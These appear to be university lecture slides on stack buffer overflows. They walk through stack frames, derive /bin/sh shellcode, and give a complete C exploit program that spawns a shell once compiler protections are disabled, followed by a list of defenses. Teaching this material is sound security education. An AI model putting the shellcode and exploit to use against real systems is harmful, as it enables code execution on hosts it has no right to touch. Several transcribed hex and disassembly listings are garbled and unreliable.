
Secure Systems Engineering

Binary Exploitation 1

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Parts of Malware


- Two parts

Subvert execution:

change the normal execution behavior of the program

Payload:

the code which the attacker wants to execute



Parts of Malware

- Two parts

Subvert execution

change the

Payload:

the code which the attacker wants to execute

Malware takes complete control of the process. Has all the privileges that the process has

the program

Subvert execution

Execute payload



expected flow
of a program

Subvert Execution

- In system software
 - Buffers overflows and overreads
 - Heap: double free, use after free
 - Integer overflows
 - Format string
 - Control Flow

Buffer Overflows in the Stack

- We need to first know how a stack is managed

Stack in a Program (when function is executing)

```
void function(int a, int b, int c){
    char buffer1[5];
    char buffer2[10];
}

int main(int argc, char **argv){
    function(1,2,3);
}
```

```
080483ed <function>:
80483ed:    55                push    %ebp
80483ee:    89 e5             mov     %esp,%ebp
80483f0:    83 ec 10          sub     $0x10,%esp
80483f3:    c9               leave   %ebp
80483f4:    c3               ret


080483f5 <main>:
80483f5:    55                push    %ebp
80483f6:    89 e5             mov     %esp,%ebp
80483f8:    83 ec 0c          sub     $0xc,%esp
80483fb:    c7 44 24 08 03 00 00 movl    $0x3,0x8(%esp)
8048402:    00
8048403:    c7 44 24 04 02 00 00 movl    $0x2,0x4(%esp)
804840a:    00
804840b:    c7 04 24 01 00 00 00 movl    $0x1,(%esp)
8048412:    e8 d6 ff ff ff   call    80483ed <function>
8048417:    c9               leave   %ebp
8048418:    c3               ret
```

Stack in a Program (when function is executing)

```
void function(int a, int b, int c){  
    char buffer1[5];  
    char buffer2[10];  
}  
  
int main(int argc, char **argv){  
    function(1,2,3);  
}
```

parameters {
In main
Put 3 in stack
Put 2 in stack
Put 1 in stack
call function

In function
push %ebp
mov %esp, %ebp
sub \$0x10, %esp




%ebp: Frame Pointer
%esp : Stack Pointer

Stack Usage (example)

```
void function(int a, int b, int c)
{
    char buffer1[5];
    char buffer2[10];
}

void main()
{
    function(1,2,3);
}
```



Stack Usage

```
void function(int a, int b, int c)
{
    char buffer1[5];
    char buffer2[10];
}

void main()
{
    function(1,2,3);
}
```

Legal range of buffer2 is from 975 to 966

However, this assignment will be permitted:

buffer2[10] = 'a';

976 → buffer1

A BUFFER OVERFLOW

| Stack (top to bottom): | |
|------------------------|-----------------------------|
| address | stored data |
| 1000 to 997 | 3 |
| 996 to 993 | 2 |
| 992 to 989 | 1 |
| 988 to 985 | return address |
| 984 to 981 | %ebp (stored frame pointer) |
| (%ebp)980 to 976 | buffer1 |
| 975 to 966 | buffer2 |
| (%sp) 964 | |

Modifying the Return Address

buffer2[19] =
&arbitrary memory location

This causes execution of an
arbitrary memory location instead
of the standard return



Execution Subverted
Next step – execute payload!


19

| Stack (top to bottom): | |
|------------------------|-----------------------------|
| address | stored data |
| 1000 to 997 | 3 |
| 996 to 993 | 2 |
| 992 to 989 | 1 |
| 988 to 985 | Arbitrary Location |
| 984 to 981 | %ebp (stored frame pointer) |
| (%ebp)980 to 976 | buffer1 |
| 976 to 966 | buffer2 |
| (%sp) 964 | |

Big Picture of the exploit (execute an arbitrary payload)

Fill the stack as follows

(where BA is buffer address)




Payload

- Lets say the attacker wants to spawn a shell
- ie. do as follows:

```
#include <stdio.h>
#include <stdlib.h>

void main(){
    char *name[2];

    name[0] = "/bin/sh";      /* exe filename */
    name[1] = NULL;           /* exe arguments */
    execve(name[0], name, NULL);
    exit(0);
}
```



- How does he put this code onto the stack?

Step 1 : Get machine codes

```
#include <stdio.h>
#include <stdlib.h>

void main(){
    char *name[2];

    name[0] = "/bin/sh";    /* exe filename */
    name[1] = NULL;         /* exe arguments */
    execve(name[0], name, NULL);
    exit(0);
}
```

```
00000000 <main>:
 0: 55                push    %ebp
 1: 89 e5             mov     %esp,%ebp
 3: eb 1e             jmp     23 <main+0x23>
 5: 5e                pop     %esi
 6: 89 76 08          mov     %esi,0x8(%esi)
 9: c6 46 07 00       movb    $0x0,0x7(%esi)
 d: c7 46 0c 00 00 00 00 movl    $0x0,0xc(%esi)
14: b8 0b 00 00 00    mov     $0xb,%eax
19: 89 f3             mov     %esi,%ebx
1b: 8d 4e 08          lea     0x8(%esi),%ecx
1e: 8d 56 0c          lea     0xc(%esi),%edx
21: cd 80             int     $0x80
23: e8 dd ff ff ff    call    5 <main+0x5>
```

```
void main(void){
asm(
    "movl $1f, %esi;"
    "movl %esi, 0x8(%esi);"
    "movb $0x0, 0x7(%esi);"
    "movl $0x0, 0xc(%esi);"
    "movl $0xb, %eax;"
    "movl %esi, %ebx;"
    "leal 0x8(%esi), %ecx;"
    "leal 0xc(%esi), %edx;"
    "int $0x80;"
    ".section .data;"
    "1: .string \"/bin/sh";
    ".section .text;"
);
}
```

- objdump -disassemble-all shellcode.o
- Get machine code : "eb 1e 5e 89 76 08 c6 46 07 00 c7 46 0c 00 00 00 00 b8 0b 00 00 89 f3 8d 4e 08 8d 56 0c cd 80 cd 80"
- If there are 00s replace it with other instructions

Step 2: Find Buffer overflow in an application

```
char large_string[128];
```

```
char buffer[48];
```

← Defined on stack

0
0
0
0

```
strcpy(buffer, large_string);
```

← Can cause buffer to overflow


Step 3 : Put Machine Code in Large String

```
char shellcode[] =
"\xeb\x18\x5e\x31\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x5e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
char large_string[128];
```

```

3:    eb 18                jmp     1d <main+0x1d>
5:    5e                  pop     %esi
6:    31 c0                xor     %eax,%eax
8:    89 76 08             mov     %esi,0x8(%esi)
b:    88 46 07             mov     %al,0x7(%esi)
e:    89 46 0c             mov     %eax,0xc(%esi)
11:   b0 0b                mov     $0xb,%al
13:   89 f3                mov     %esi,%ebx
15:   8d 4e 08             lea     0x8(%esi),%ecx
18:   8d 56 0c             lea     0xc(%esi),%edx
1b:   cd 80                int     $0x80
1d:   e8 e3 ff ff ff       call    5 <main+0x5>
22:   5d                  pop     %ebp

```




Step 3 (contd) : Fill up Large String with BA

```
char large_string[128];
```



```
char buffer[48];
```

← Address of buffer is BA



Final state of Stack

- Copy large string into buffer
`strcpy(buffer, large_string);`
- When strcpy returns the exploit code would be executed



BA

BA
buffer Address

Putting it all together

```
// without zeros
char shellcode[] =
"\xeb\x18\x5e\x31\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x
4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";

char large_string[128];

void main(){
    char buffer[48];
    int i;
    long *long_ptr = (long *) large_string;

    for(i=0; i < 32; ++i) // 128/4 = 32
        long_ptr[i] = (int) buffer;

    for(i=0; i < strlen(shellcode); i++){
        large_string[i] = shellcode[i];
    }

    strcpy(buffer, large_string);
}
```

bash\$./a.out

\$


shell created



Refer <https://chetrebeiro@bitbucket.org/casl/sse.git> (directory src/smash)

Buffer overflow in the Wild

- Worm CODERED ... released on 13th July 2001
- Infected 3,59,000 computers by 19th July.



CODERED Worm

- Targeted a bug in Microsoft's IIS web server

[illegible]

Some Defense Mechanisms already Incorporated

```
// without zeros
char shellcode[] =
"\xeb\x18\x5e\x31\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x
4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";

char large_string[128];

void main(){
    char buffer[48];
    int i;
    long *long_ptr = (long *) large_string;

    for(i=0; i < 32; ++i) // 128/4 = 32
        long_ptr[i] = (int) buffer;

    for(i=0; i < strlen(shellcode); i++){
        large_string[i] = shellcode[i];
    }

    strcpy(buffer, large_string);
}
```

bash\$ gcc overflow1.c

bash\$./a.out

*** stack smashing detected *** (./a.out terminated)

Aborted (core dumped)



Refer <https://chetrebeiro@bitbucket.org/casl/sse.git> (directory src/smash)

Some Defense Mechanisms already Incorporated

```
// without zeros
char shellcode[] =
"\xeb\x18\x5e\x31\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x
4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";

char large_string[128];

void main(){
    char buffer[48];
    int i;
    long *long_ptr = (long *) large_string;

    for(i=0; i < 32; ++i) // 128/4 = 32
        long_ptr[i] = (int) buffer;

    for(i=0; i < strlen(shellcode); i++){
        large_string[i] = shellcode[i];
    }

    strcpy(buffer, large_string);
}
```

```
bash$ gcc -m32 -fno-stack-protector -z execstack overflow1.c
bash$ ./a.out
$ (shell created successfully)
```



Refer <https://chetrebeiro@bitbucket.org/casl/sse.git> (directory src/smash)

Defenses

- Eliminate program flaws that could lead to subverting of execution
 - Safer programming languages; Safer libraries; hardware enhancements; static analysis
- If can't eliminate, make it more difficult for malware to subvert execution
 - W^X , ASLR, canaries
- If malware still manages to execute, try to detect its execution at runtime
 - malware run-time detection techniques using learning techniques, ANN and malware signatures
- If can't detect at runtime, try to restrict what the malware can do..
 - Sandbox system
 - so that malware affects only part of the system; access control; virtualization; trustzone; SGX
 - Track information flow
 - DIFT; ensure malware does not steal sensitive information

Points to Ponder

```
#include <stdio.h>
#include <stdlib.h>

void main(){
    char *name[2];

    name[0] = "/bin/sh";    /* exe filename */
    name[1] = NULL;         /* exe arguments */
    execve(name[0], name, NULL);
    exit(0);
}
```

```
void main(void){
asm(
    "movl $1f, %esi;"
    "movl %esi, 0x8(%esi);"
    "moub $0x0, 0x7(%esi);"
    "movl $0x0, 0xc(%esi);"
    "movl $0xb, %eax;"
    "movl %esi, %ebx;"
    "leal 0x8(%esi), %ecx;"
    "leal 0xc(%esi), %edx;"
    "int $0x80;"
    ".section .data;"
    "1: .string \"/bin/sh";
    ".section .text;"
);
}
```

WHY?

```
00000000 <
0: 59 89 76 08          jmp     %ebp
1: 89 76 08          pop     %esi
3: eb 1e             jmp     23 <main+0x23>
5: 5e               pop     %esi
6: 89 76 08          mov     %esi, 0x8(%esi)
9: c6 46 07 00       movb    $0x7, 0x7(%esi)
d: c7 46 0c 00 00 00 00 movl    $0x0, 0xc(%esi)
14: b8 0b 00 00 00    movl    $0xb, %eax
19: 89 f3             mov     %esi, %ebx
1b: 8d 4e 08          leal    0x8(%esi), %ecx
1e: 8d 56 0c          leal    0xc(%esi), %edx
21: cd 80             int     $0x80
23: e8 dd ff ff ff    call    5 <__libc_start_main@GLIBC_2.2.5>
```

- objdump -disassemble-all shellcode.o
- Get machine code : "eb 1e 5e 89 76 08 c6 46 07 00 c7 46 0c 00 00 00 00 b8 0b 00 00 00 89 f3 8d 4e 08 8d 56 0c cd 80 cd 80"
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